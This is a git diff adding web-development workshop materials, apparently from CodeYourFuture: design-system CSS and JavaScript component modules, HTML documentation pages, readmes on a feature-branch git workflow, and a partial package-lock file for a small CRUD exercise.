Either individually or as a group, review each other's PRs. +1. Once you're all happy with the PR, merge it. +1. Did it work? Why/why not? Discuss. + + + +## Acceptance Criteria + +- We have worked in three teams to build a page using a design system +- We have used a feature branch workflow to collaborate +- We have reviewed each team's PR diff --git a/components-1/teams.html b/components-1/teams.html new file mode 100644 index 00000000..17e71b76 --- /dev/null +++ b/components-1/teams.html @@ -0,0 +1,234 @@ + + + + + + Team Randomiser + + + + + +
+

+ + + + +

+

Team Generator

+ +
+ +
+ +
+ + + + diff --git a/components-1/together.html b/components-1/together.html new file mode 100644 index 00000000..3ef4179e --- /dev/null +++ b/components-1/together.html @@ -0,0 +1,47 @@ + + + + + + Together Separately + + + + + + + + + +
+
+ +
+
+ + + diff --git a/components-2/assets/app.js b/components-2/assets/app.js new file mode 100644 index 00000000..317f5ae2 --- /dev/null +++ b/components-2/assets/app.js @@ -0,0 +1,26 @@ +// menu toggle - this is just like your curriculum site +const menuToggle = document.getElementById("toggle"); +const menu = document.getElementById("menu"); +const skipLink = document.getElementById("skip-link"); + +function toggleMenu() { + menu.classList.toggle("is-active"); + menu.toggleAttribute("hidden"); + if (menu.getAttribute("hidden") == null) { + menu.focus(); + } else { + skipLink.focus().scrollTo(false); + } +} +menuToggle.addEventListener("click", toggleMenu); + +// if the menu is open listen for escape key to close it +window.addEventListener("keydown", (e) => { + if (e.key === "Escape" && menu.classList.contains("is-active")) { + toggleMenu(); + } + // if meta plus slash key combination is pressed toggle the menu + if (e.key === "/" && e.metaKey) { + toggleMenu(); + } +}); diff --git a/components-2/assets/styles.css b/components-2/assets/styles.css new file mode 100644 index 00000000..d1256a07 --- /dev/null +++ b/components-2/assets/styles.css @@ -0,0 +1,11 @@ +@import url(../docs/theme/theme.css); +@import url(../docs/reset/reset.css); +@import url(../docs/base/base.css); + +@import url(../docs/layout/layout.css); + +@import url(../docs/header/header.css); +@import url(../docs/main/main.css); +@import url(../docs/menu/menu.css); +@import url(../docs/footer/footer.css); +@import url(../docs/card/card.css); diff --git a/components-2/data/components.js b/components-2/data/components.js new file mode 100644 index 00000000..8f533448 --- /dev/null +++ b/components-2/data/components.js @@ -0,0 +1,53 @@ +const components = [ + { + component: "base", + emoji: "👟", + resource: "https://smacss.com/book/type-base/", + }, + { + component: "card", + emoji: "📇", + resource: "https://www.nngroup.com/articles/cards-component/", + }, + { + component: "footer", + emoji: "🦶", + resource: "https://www.uxpin.com/studio/blog/footer-design-basics/", + }, + { + component: "header", + emoji: "💆", + resource: + "https://www.w3.org/WAI/ARIA/apg/patterns/landmarks/examples/general-principles.html", + }, + { + component: "layout", + emoji: "🍱", + resource: "https://gridbyexample.com/", + }, + { + component: "main", + emoji: "📰", + resource: + "https://www.a11yproject.com/posts/how-to-use-the-tabindex-attribute/", + }, + { + component: "menu", + emoji: "🗄️", + resource: + "https://www.w3.org/community/webed/wiki/Creating_multiple_pages_with_navigation_menus", + }, + { + component: "reset", + emoji: "🗑️", + resource: "https://www.joshwcomeau.com/css/custom-css-reset/", + }, + { + component: "theme", + emoji: "🎨", + resource: + "https://medium.com/eightshapes-llc/naming-tokens-in-design-systems-9e86c7444676", + }, +]; + +export default components; diff --git a/components-2/docs/base/base.css b/components-2/docs/base/base.css new file mode 100644 index 00000000..931d7568 --- /dev/null +++ b/components-2/docs/base/base.css @@ -0,0 +1,46 @@ +/* Our base rules for the whole site */ +body { + font: 100%/1.5 var(--copy), system-ui, sans-serif; + background-color: var(--paper); + color: var(--ink); +} + +/* Rules for interactive elements like links and buttons. +What happens when you change the order of these rules around? */ +a, +a:any-link, +button { + color: currentColor; + text-decoration: none; + font-weight: bold; + transition: all 0.3s; +} +:focus { + outline: none; +} +a:hover, +a:focus, +button:hover, +button:focus { + color: var(--brand); +} +a:focus, +button:focus { + outline: 2px dashed var(--brand); +} +button { + grid-area: button; + appearance: none; + border: none; + background: transparent; +} + +/* states */ + +.is-invisible { + position: absolute; + left: -100vw; +} +.is-invisible:focus { + left: 0; +} diff --git a/components-2/docs/base/index.html b/components-2/docs/base/index.html new file mode 100644 index 00000000..e85996d7 --- /dev/null +++ b/components-2/docs/base/index.html @@ -0,0 +1,85 @@ + + + + + + CYF Components Workshop + + + + + + + + +
+
    + +
    +

    Documentation

    +

    Here is the base documentation for our tiny design system.

    +
      +
    1. Base are a few simple general rules for html elements
    2. +
    3. Base also holds a few extra states as classes
    4. +
    5. Base styles are not very opinionated
    6. +
    +
    +
    + + + + + + + + + + diff --git a/components-2/docs/card/card.css b/components-2/docs/card/card.css new file mode 100644 index 00000000..a970d220 --- /dev/null +++ b/components-2/docs/card/card.css @@ -0,0 +1,19 @@ +.card { + background-color: var(--paper); + box-shadow: 2px 4px 16px var(--shade); + display: flex; + flex-flow: column-reverse; + align-items: center; + overflow: hidden; +} +.card:hover, +.card:focus { + box-shadow: 1px 1px 2px var(--shade); +} +.card__emoji { + font-size: clamp(64px, calc(64px + 5vw), 144px); +} + +.card__code { + overflow: scroll; +} diff --git a/components-2/docs/card/card.js b/components-2/docs/card/card.js new file mode 100644 index 00000000..2a1e1cae --- /dev/null +++ b/components-2/docs/card/card.js @@ -0,0 +1,33 @@ +const Card = ({ component, emoji, resource }, type, path) => { + //FIRST, DECLARE VARIABLES + + // first we must create a DOM node - you could also create a Fragment + const card = document.createElement("li"); + let href = resource; + let content = ""; + let heading = component; + + // NEXT, RUN LOGIC + + // if a path is passed, we override our resource from the data + if (path) href = path + component; + // if we're showing an emoji card, it's just a span + if (type === "emoji") { + content = `${emoji}`; + } else { + // but otherwise, we are pulling an object to show the file (a bit weird but roll with it for now) + heading += ` ${type.toUpperCase()}`; + content = ``; + } + //now add the html to our created list node + card.innerHTML = ` +

    ${heading}

    + ${content} +
    `; + + // LAST, RETURN RESULT + + return card; +}; + +export default Card; diff --git a/components-2/docs/card/card.txt b/components-2/docs/card/card.txt new file mode 100644 index 00000000..1240fb61 --- /dev/null +++ b/components-2/docs/card/card.txt @@ -0,0 +1,6 @@ + + +

    Card

    + 📇 +
    +
    diff --git a/components-2/docs/card/index.html b/components-2/docs/card/index.html new file mode 100644 index 00000000..d8f5c355 --- /dev/null +++ b/components-2/docs/card/index.html @@ -0,0 +1,88 @@ + + + + + + CYF Components Workshop + + + + + + + + +
    +
      + +
      +

      Documentation

      +

      Here is the card documentation for our tiny design system.

      +
        +
      1. A card should be a link.
      2. +
      3. Cards must be given the classes shown.
      4. +
      5. A card must contain a heading.
      6. +
      7. A card may contain an emoji or object.
      8. +
      +
      +
      + + + + + + + + + + diff --git a/components-2/docs/footer/footer.css b/components-2/docs/footer/footer.css new file mode 100644 index 00000000..d45817fa --- /dev/null +++ b/components-2/docs/footer/footer.css @@ -0,0 +1,8 @@ +.footer { + grid-area: footer; + display: grid; + grid-template: "github space" var(--finger) / var(--finger) 1fr; +} +.footer__link { + grid-area: github; +} diff --git a/components-2/docs/footer/footer.js b/components-2/docs/footer/footer.js new file mode 100644 index 00000000..82a538f2 --- /dev/null +++ b/components-2/docs/footer/footer.js @@ -0,0 +1,14 @@ +const Footer = (hasGithub) => { + const footer = document.createElement("footer"); + footer.classList.add("footer"); + if (hasGithub) { + footer.innerHTML = ` + + + + `; + } + return footer; +}; + +export default Footer; diff --git a/components-2/docs/footer/footer.txt b/components-2/docs/footer/footer.txt new file mode 100644 index 00000000..6e0eaa4f --- /dev/null +++ b/components-2/docs/footer/footer.txt @@ -0,0 +1,6 @@ + \ No newline at end of file diff --git a/components-2/docs/footer/index.html b/components-2/docs/footer/index.html new file mode 100644 index 00000000..6c18fa0a --- /dev/null +++ b/components-2/docs/footer/index.html @@ -0,0 +1,87 @@ + + + + + + CYF Components Workshop + + + + + + + + +
      +
        + +
        +

        Documentation

        +

        Here is the footer documentation for our tiny design system.

        +
          +
        1. Footer must use the footer element
        2. +
        3. The footer must be given the class shown.
        4. +
        5. Footer may have a github link.
        6. +
        +
        +
        + + + + + + + + + + diff --git a/components-2/docs/header/header.css b/components-2/docs/header/header.css new file mode 100644 index 00000000..750abc41 --- /dev/null +++ b/components-2/docs/header/header.css @@ -0,0 +1,16 @@ +.header { + grid-area: header; + display: grid; + grid-template: + "logo space page button" var(--finger) / + var(--finger) var(--space) 1fr var(--finger); +} +.header__heading { + grid-area: logo; + margin: 0; +} +.header__page { + grid-area: page; + margin: 0 auto auto 0; + font-size: 2em; +} diff --git a/components-2/docs/header/header.js b/components-2/docs/header/header.js new file mode 100644 index 00000000..b6533dfe --- /dev/null +++ b/components-2/docs/header/header.js @@ -0,0 +1,44 @@ +const Header = (link, title) => { + const header = document.createElement("header"); + header.classList.add("header"); + header.innerHTML = ` +

        + + + + +

        +

        ${title}

        + + `; + return header; +}; + +export default Header; diff --git a/components-2/docs/header/header.txt b/components-2/docs/header/header.txt new file mode 100644 index 00000000..d941e5a5 --- /dev/null +++ b/components-2/docs/header/header.txt @@ -0,0 +1,40 @@ +
        +

        + + + + +

        +

        Header

        + +
        \ No newline at end of file diff --git a/components-2/docs/header/index.html b/components-2/docs/header/index.html new file mode 100644 index 00000000..eb0a4b30 --- /dev/null +++ b/components-2/docs/header/index.html @@ -0,0 +1,88 @@ + + + + + + CYF Components Workshop + + + + + + + + +
        +
          + +
          +

          Documentation

          +

          Here is the header documentation for our tiny design system.

          +
            +
          1. Header must use the header element
          2. +
          3. The header must be given the classes shown.
          4. +
          5. Header must identify the site it is on.
          6. +
          7. Header must identify the page it is on.
          8. +
          +
          +
          + + + + + + + + + + diff --git a/components-2/docs/index.html b/components-2/docs/index.html new file mode 100644 index 00000000..9bfc5044 --- /dev/null +++ b/components-2/docs/index.html @@ -0,0 +1,202 @@ + + + + + + CYF Components Workshop + + + + + + + +
          +

          + + + + +

          +

          Components Workshop

          + +
          + +
          + +
          +

          + When we build visual web pages we always use these building blocks: + fonts colours, and spacing. Every site you + see uses these building blocks to show the user an interface. +

          +

          + 🧩 Components +

          +

          + In fact they use these building blocks to design + components. The components are composed on the page to make a user + interface. All web coding is the composition of small, simple + pieces into more and more complex systems. +

          + +

          + It is the job of a developer to build the smallest, simplest piece she + can. We are always operating within a wafer thin layer of a vastly + more complex system, and it's our job to make that layer as clear and + simple as possible, so all the other layers can predict what + it might do. +

          +

          Design System

          +

          + Design systems are libraries of premade components that developers use + to compose interfaces. Each design system reflects the priorities of + the developers who made them. +

          +

          + GDS, + the UK government design system, is a good example of a design system + made and tested a lot to be accessible, because everyone in the UK has + to use it. + W3C Design System + is another good example of a design system made to be accessible, + because it's made by the people who make the web standards. +

          +

          + Notice how even components with similar names and similar goals are + constructed differently. All design systems are different, but the + underlying format is recognisable. Just like every detective novel is + different, but the + genre as a whole + is recognisable. +

          + +

          Collaboration

          +

          + When we build a house, the roofer cannot begin until the walls are up. + But when we build a web application, we can build many parts at the + same time. I can build cards while you set up a database. We can even + build different parts of the same page at the same time. We do this by + isolating our work into separate components. +

          +

          + 🧪 + Pattern Recognition, Pattern Definition +

          +

          + Developers are collaborators, + composers, + conductors. Like musicians, developers describe their work in terms of + rules for others to understand and use that work. In this way, + developers can construct systems by organising many existing pieces + into a new symphony. But in order to do this, developers have to + constantly recognise, describe, and reproduce patterns. +

          +
          +
          + + + diff --git a/components-2/docs/layout/index.html b/components-2/docs/layout/index.html new file mode 100644 index 00000000..ec712933 --- /dev/null +++ b/components-2/docs/layout/index.html @@ -0,0 +1,84 @@ + + + + + + CYF Components Workshop + + + + + + + + +
          +
            + +
            +

            Documentation

            +

            Here is the layout documentation for our tiny design system.

            +
              +
            1. Layout is applied to the body
            2. +
            3. Layout expects a header, footer, and main
            4. +
            +
            +
            + + + + + + + + + + diff --git a/components-2/docs/layout/layout.css b/components-2/docs/layout/layout.css new file mode 100644 index 00000000..ece2168d --- /dev/null +++ b/components-2/docs/layout/layout.css @@ -0,0 +1,15 @@ +/* LAYOUT +*/ +body { + display: grid; + gap: var(--space); + grid-template: + ". ...... ." var(--space) + ". header ." min-content + ". ...... ." var(--space) + ". main ." minmax(75vh, 1fr) + ". footer ." min-content + ". ...... ." var(--space) / + minmax(var(--space), 1fr) var(--container) minmax(var(--space), 1fr); + place-content: center; +} diff --git a/components-2/docs/main/index.html b/components-2/docs/main/index.html new file mode 100644 index 00000000..217fc277 --- /dev/null +++ b/components-2/docs/main/index.html @@ -0,0 +1,88 @@ + + + + + + CYF Components Workshop + + + + + + + + +
            +
              + +
              +

              Documentation

              +

              Here is the main documentation for our tiny design system.

              +
                +
              1. Main must use the main element
              2. +
              3. Main must have a tabindex of zero
              4. +
              5. Main may contain a deck
              6. +
              7. Main may contain copy
              8. +
              +
              +
              + + + + + + + + + + diff --git a/components-2/docs/main/main.css b/components-2/docs/main/main.css new file mode 100644 index 00000000..398c01e0 --- /dev/null +++ b/components-2/docs/main/main.css @@ -0,0 +1,25 @@ +.main { + grid-area: main; + display: flex; + flex-flow: row wrap; + gap: var(--space); +} + +.main__deck { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(var(--box), 1fr)); + gap: var(--space); +} + +.main__copy { + /* Why have I constrained this box? Google it! */ + max-width: var(--line-length); +} + +.main__copy p:first-of-type::first-letter { + initial-letter: 2; + margin: 0 0.5ch 0 0; + padding: 0.5ch; + background-color: var(--brand); + color: var(--paper); +} diff --git a/components-2/docs/main/main.txt b/components-2/docs/main/main.txt new file mode 100644 index 00000000..10555bbd --- /dev/null +++ b/components-2/docs/main/main.txt @@ -0,0 +1,6 @@ +
              +
              +
              +
              +
              +
              \ No newline at end of file diff --git a/components-2/docs/menu/index.html b/components-2/docs/menu/index.html new file mode 100644 index 00000000..67f55997 --- /dev/null +++ b/components-2/docs/menu/index.html @@ -0,0 +1,88 @@ + + + + + + CYF Components Workshop + + + + + + + + +
              +
                + +
                +

                Documentation

                +

                Here is the menu documentation for our tiny design system.

                +
                  +
                1. A menu must be given the menu classes shown
                2. +
                3. A menu must contain a nav and links
                4. +
                5. A menu must be hidden by default
                6. +
                7. A menu must be keyboard accessible
                8. +
                +
                +
                + + + + + + + + + + diff --git a/components-2/docs/menu/menu-item.js b/components-2/docs/menu/menu-item.js new file mode 100644 index 00000000..01b79725 --- /dev/null +++ b/components-2/docs/menu/menu-item.js @@ -0,0 +1,7 @@ +const MenuItem = ({ component }, path) => { + const listItem = document.createElement("li"); + listItem.innerHTML = `${component} docs`; + return listItem; +}; + +export default MenuItem; diff --git a/components-2/docs/menu/menu.css b/components-2/docs/menu/menu.css new file mode 100644 index 00000000..801e0477 --- /dev/null +++ b/components-2/docs/menu/menu.css @@ -0,0 +1,13 @@ +.menu { + background-color: var(--ink); + color: var(--paper); + height: 100vh; + width: max-content; + padding: var(--space); + z-index: 1; + position: absolute; + left: -100vw; +} +.menu.is-active { + left: 0; +} diff --git a/components-2/docs/menu/menu.js b/components-2/docs/menu/menu.js new file mode 100644 index 00000000..6cb38846 --- /dev/null +++ b/components-2/docs/menu/menu.js @@ -0,0 +1,26 @@ +// menu toggle - this is just like your curriculum site +const menuToggle = document.getElementById("toggle"); +const menu = document.getElementById("menu"); +const start = document.querySelector("body"); + +function toggleMenu() { + menu.classList.toggle("is-active"); + menu.toggleAttribute("hidden"); + if (menu.getAttribute("hidden") == null) { + menu.focus(); + } else { + start.focus(); + } +} +menuToggle.addEventListener("click", toggleMenu); + +// if the menu is open listen for escape key to close it +window.addEventListener("keydown", (e) => { + if (e.key === "Escape" && menu.classList.contains("is-active")) { + toggleMenu(); + } + // if meta plus slash key combination is pressed toggle the menu + if (e.key === "/" && e.metaKey) { + toggleMenu(); + } +}); diff --git a/components-2/docs/menu/menu.txt b/components-2/docs/menu/menu.txt new file mode 100644 index 00000000..5f690450 --- /dev/null +++ b/components-2/docs/menu/menu.txt @@ -0,0 +1,19 @@ + diff --git a/components-2/docs/reset/index.html b/components-2/docs/reset/index.html new file mode 100644 index 00000000..e17d6d91 --- /dev/null +++ b/components-2/docs/reset/index.html @@ -0,0 +1,86 @@ + + + + + + CYF Components Workshop + + + + + + + + +
                +
                  + +
                  +

                  Documentation

                  +

                  Here is the reset documentation for our tiny design system.

                  +
                    +
                  1. Resets are conservative
                  2. +
                  3. + Resets are only applied to default HTML elements without classes +
                  4. +
                  +
                  +
                  + + + + + + + + + + diff --git a/components-2/docs/reset/reset.css b/components-2/docs/reset/reset.css new file mode 100644 index 00000000..859d163c --- /dev/null +++ b/components-2/docs/reset/reset.css @@ -0,0 +1,20 @@ +/* Read about resets on CSS Tricks, A List Apart, and Josh Comeau +https://www.joshwcomeau.com/css/custom-css-reset/ */ + +/* What does this rule do? Try removing it. */ +* { + box-sizing: border-box; +} +/* What about this one? +Make a prediction first and then find and uncheck this rule in Devtools */ +body, +html { + padding: 0; + margin: 0; +} +ul, +ul li { + list-style: none; + margin: 0; + padding: 0; +} diff --git a/components-2/docs/template/index.html b/components-2/docs/template/index.html new file mode 100644 index 00000000..17ec275c --- /dev/null +++ b/components-2/docs/template/index.html @@ -0,0 +1,87 @@ + + + + + + CYF Components Workshop + + + + + + + + +
                  +
                    + +
                    +

                    Documentation

                    +

                    Here is the COMPONENT documentation for our tiny design system.

                    +
                      +
                    1. COMPONENTS must be given the classes shown.
                    2. +
                    3. A COMPONENT must contain an element.
                    4. +
                    5. A COMPONENT may contain other elements.
                    6. +
                    +
                    +
                    + + + + + + + + + + diff --git a/components-2/docs/theme/index.html b/components-2/docs/theme/index.html new file mode 100644 index 00000000..e3bf3886 --- /dev/null +++ b/components-2/docs/theme/index.html @@ -0,0 +1,87 @@ + + + + + + CYF Components Workshop + + + + + + + + +
                    +
                      + +
                      +

                      Documentation

                      +

                      Here is the theme documentation for our tiny design system.

                      +
                        +
                      1. We set the fonts, colours, and spacings as variables
                      2. +
                      3. + Variables must describe relationships or behaviours, not values +
                      4. +
                      5. Only variables are allowed in this component
                      6. +
                      +
                      +
                      + + + + + + + + + + diff --git a/components-2/docs/theme/theme.css b/components-2/docs/theme/theme.css new file mode 100644 index 00000000..a1e8975b --- /dev/null +++ b/components-2/docs/theme/theme.css @@ -0,0 +1,20 @@ +/* Here's our design +It's fonts, colours, and spacing. +Every design is made of these basic building blocks. +Change the values to make a completely new look */ + +:root { + /* fonts */ + --copy: "Lato"; + /* colours */ + --paper: hsla(260, 35%, 90%, 0.95); + --ink: hsla(270, 8%, 20%, 0.98); + --brand: hsla(0, 100%, 67%, 0.98); + --shade: hsla(270, 8%, 20%, 0.1); + /* spacing */ + --space: 2rem; + --box: 18rem; + --container: clamp(var(--box), calc(100vw - calc(var(--space) * 2)), 74rem); + --finger: 48px; + --line-length: 60ch; +} diff --git a/components-2/index.html b/components-2/index.html new file mode 100644 index 00000000..17dcdec0 --- /dev/null +++ b/components-2/index.html @@ -0,0 +1,87 @@ + + + + + + CYF Components Workshop + + + + + + + + +
                      +
                        + +
                      +
                      + +
                      +
                      + + + + + + + + + + + + + diff --git a/components-2/readme.md b/components-2/readme.md new file mode 100644 index 00000000..76d8a9aa --- /dev/null +++ b/components-2/readme.md @@ -0,0 +1,178 @@ +# Components are Functions + +Today we're going to think some more about components. We're going to build a page using a design system and we're going to collaborate on a sub branch, feature branch workflow. We're going to identify the difference between HTML and the DOM using Devtools. And we're going to create new DOM nodes using JavaScript functions. Oh my goodness, it's so many things! That's why it's best to do this workshop after you've done a couple of modules of https://programming.codeyourfuture.io/ + +And in particular, these workshops: + +- [x] [Git](https://github.com/CodeYourFuture/CYF-Workshops/tree/main/git-day-1) +- [x] [Devtools](https://github.com/CodeYourFuture/CYF-Workshops/tree/main/devtools) +- [x] [Components 101](https://github.com/CodeYourFuture/CYF-Workshops/tree/main/components-1) + +If you missed these workshops in your cohort, it's a good idea to try to do them in the week (online) first. Record your session for people that can't attend. Everyone should try to do the workshops first, either in groups or solo if necessary. + +The overall mission is to compose "components" / groupings of HTML elements to build a page in [together.html](https://cyf-workshop.netlify.app/components-2/together.html). + +But this time, we're going to use JavaScript functions to build our components. + +## Learning Objectives + +```objectives +- [ ] Work on a complex sub-branch workflow +- [ ] Import a function from a module +- [ ] Create a component on a web page +- [ ] Write a function to build a component from a documented pattern +- [ ] Collaborate to build a page +``` + + + +### Set up your working branch + +Everyone should do this so everyone is set up correctly. + +1. You will be working on a special branch called [FOR-USE-IN-CLASS](https://github.com/CodeYourFuture/CYF-Workshops/tree/FOR-USE-IN-CLASS). +1. First, **clone** [the workshops repository](https://github.com/CodeYourFuture/CYF-Workshops/) + Checkout `git switch FOR-USE-IN-CLASS` +1. Your cohort has a named _sub branch_. Everyone, check that out next with `git switch --create COHORT` (eg `NW6`). This is your working branch. + +Check you are in the right place with GitLens! + + + +### Visualise this Git workflow + +```mermaid +gitGraph + commit "main" + branch FOR-USE-IN-CLASS + checkout FOR-USE-IN-CLASS + branch NW6 + checkout NW6 + branch feature/header + commit + commit + checkout NW6 + branch feature/footer + commit + commit + commit + checkout NW6 + branch feature/card + commit + commit + commit + checkout NW6 + branch feature/menu + commit + commit + commit + checkout NW6 + merge feature/header + merge feature/footer + merge feature/card + merge feature/menu +``` + + + +Your COHORT branch is your cohort name. It might be NW6, WM5, GL7... You'll be making branches starting from your COHORT branch and NOT starting from main. + + + +### Get set up to work in teams + +Next, divide the class into four teams: header, footer, card, menu. Use the [team generator](https://cyf-workshop.netlify.app/components-2/teams.html) to help you do this. + +Set a whole class [timer for 10 minutes](https://www.google.com/search?q=10+minute+time). + + + +### Each team, choose a driver + +1. Driver, ask everyone in your team to confirm you are in the right working branch. +1. Driver, from this branch, create and checkout a new branch for your team named like this: `feature/cohort-component`, where _cohort_ is your cohort name and _component_ is the component you're building, for example: `feature/nw6-header` + +```bash +git switch --create feature/cohort-component +``` + +Now you're all set up to make changes to together.html. + + + +### Find your docs + +Set a whole class [timer for 10 minutes](https://www.google.com/search?q=10+minute+timer). + + + +Deployed from this repo is a [mini design system](https://cyf-workshop.netlify.app/components-2). This design system has several documented components, and some also have JavaScript files. + +Your mission is to find the docs for each component with an associated script file, and read them. Discuss your findings. Here are some things to consider: + +Look at the pages on the website with Devtools. Compare the Inspect view with the source code you can see in the files. How are they different? How are HTML and the DOM different? + +[What is a module](https://www.freecodecamp.org/news/javascript-modules-beginners-guide/)? What does this code do `` ? + + + +### Together separately + +Set a whole class [timer for 30 minutes](https://www.google.com/search?q=30+minute+timer). + + + +Now **build** your component. Elect a new driver. + +1. Find [together.html](https://cyf-workshop.netlify.app/components-2/together.html) in the /components-2 directory. Your mission is to complete this page. +1. In the correct portion of the page, make your changes to build _your feature_ on together.html. +1. Driver, commit your changes to your feature branch. +1. Open a pull request from your branch to the COHORT branch, with your changes. Ask for help! +1. Remember, docs will help you too. +1. Do the simplest thing that could possibly work to begin with. You can always update your PR with more changes. + + + +### Review and merge + +Now we're going to review each other's work and merge to our cohort branch. + +Your COHORT branch is your cohort name. You're working in your COHORT branch and _not_ in main. Open your pull request to your COHORT branch. + + + +Don't open PRs to main. If you do open a PR to main and it is merged then it would break the exercise for other trainees. + + + +### Visualise this Git workflow + +```mermaid +gitGraph + commit id: "start" + branch FOR-USE-IN-CLASS + branch COHORT + branch feature/component + commit id: "import component function" + commit id: "import data" + commit id: "lighthouse revisions" + checkout COHORT + merge feature/component +``` + +Set a whole class [timer for 20 minutes](https://www.google.com/search?q=30+minute+timer). + + + +1. Go to the [pull requests](https://github.com/CodeYourFuture/CYF-Workshops/pulls) for this repo. +1. Either individually or as a group, review each other's PRs. +1. Once you're all happy with the PR, merge it. +1. Did it work? Why/why not? What does "work" mean for this workshop? Discuss. + + + +## Acceptance Criteria + +- We have worked in teams to build a page using JavaScript components and modules +- We have used an advanced sub-branch feature branch workflow to collaborate +- We have reviewed each team's PR diff --git a/components-2/teams.html b/components-2/teams.html new file mode 100644 index 00000000..17e71b76 --- /dev/null +++ b/components-2/teams.html @@ -0,0 +1,234 @@ + + + + + + Team Randomiser + + + + + +
                      +

                      + + + + +

                      +

                      Team Generator

                      + +
                      + +
                      + +
                      + + + + diff --git a/components-2/together.html b/components-2/together.html new file mode 100644 index 00000000..3ef4179e --- /dev/null +++ b/components-2/together.html @@ -0,0 +1,47 @@ + + + + + + Together Separately + + + + + + + + + +
                      +
                      + +
                      +
                      + + + diff --git a/crud/albums.json b/crud/albums.json new file mode 100644 index 00000000..15a6f9d2 --- /dev/null +++ b/crud/albums.json @@ -0,0 +1,20 @@ +[ + { + "albumId": "10", + "artistName": "Beyoncé", + "collectionName": "Lemonade", + "artworkUrl100": "http://is1.mzstatic.com/image/thumb/Music20/v4/23/c1/9e/23c19e53-783f-ae47-7212-03cc9998bd84/source/100x100bb.jpg", + "releaseDate": "2016-04-25T07:00:00Z", + "primaryGenreName": "Pop", + "url": "https://www.youtube.com/embed/PeonBmeFR8o?rel=0&controls=0&showinfo=0" + }, + { + "albumId": "11", + "artistName": "Beyoncé", + "collectionName": "Dangerously In Love", + "artworkUrl100": "http://is1.mzstatic.com/image/thumb/Music/v4/18/93/6d/18936d85-8f6b-7597-87ef-62c4c5211298/source/100x100bb.jpg", + "releaseDate": "2003-06-24T07:00:00Z", + "primaryGenreName": "Pop", + "url": "https://www.youtube.com/embed/ViwtNLUqkMY?rel=0&controls=0&showinfo=0" + } +] diff --git a/crud/index.html b/crud/index.html new file mode 100644 index 00000000..2d0f0cb0 --- /dev/null +++ b/crud/index.html @@ -0,0 +1,21 @@ + + + + + + + + + + + + + + + + diff --git a/crud/package-lock.json b/crud/package-lock.json new file mode 100644 index 00000000..63bdb003 --- /dev/null +++ b/crud/package-lock.json @@ -0,0 +1,1099 @@ +{ + "name": "crud", + "version": "1.0.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "crud", + "version": "1.0.0", + "license": "ISC", + "dependencies": { + "express": "^4.21.0" + }, + "devDependencies": { + "nodemon": "^3.0.2" + } + }, + "node_modules/abbrev": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.1.tgz", + "integrity": "sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q==", + "dev": true + }, + "node_modules/accepts": { + "version": "1.3.8", + "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz", + "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==", + "dependencies": { + "mime-types": "~2.1.34", + "negotiator": "0.6.3" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/anymatch": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", + "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", + "dev": true, + "dependencies": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/array-flatten": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz", + "integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==" + }, + "node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true + }, + "node_modules/binary-extensions": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", + "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/body-parser": { + "version": "1.20.3", + "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.3.tgz", + "integrity": "sha512-7rAxByjUMqQ3/bHJy7D6OGXvx/MMc4IqBn/X0fcM1QUcAItpZrBEYhWGem+tzXH90c+G01ypMcYJBO9Y30203g==", + "dependencies": { + "bytes": "3.1.2", + "content-type": "~1.0.5", + "debug": "2.6.9", + "depd": "2.0.0", + "destroy": "1.2.0", + "http-errors": "2.0.0", + "iconv-lite": "0.4.24", + "on-finished": "2.4.1", + "qs": "6.13.0", + "raw-body": "2.5.2", + "type-is": "~1.6.18", + "unpipe": "1.0.0" + }, + "engines": { + "node": ">= 0.8", + "npm": "1.2.8000 || >= 1.4.16" + } + }, + "node_modules/brace-expansion": { + "version": "1.1.11", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", + "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "dev": true, + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/braces": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz", + "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==", + "dev": true, + "dependencies": { + "fill-range": "^7.1.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/bytes": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", + "integrity": 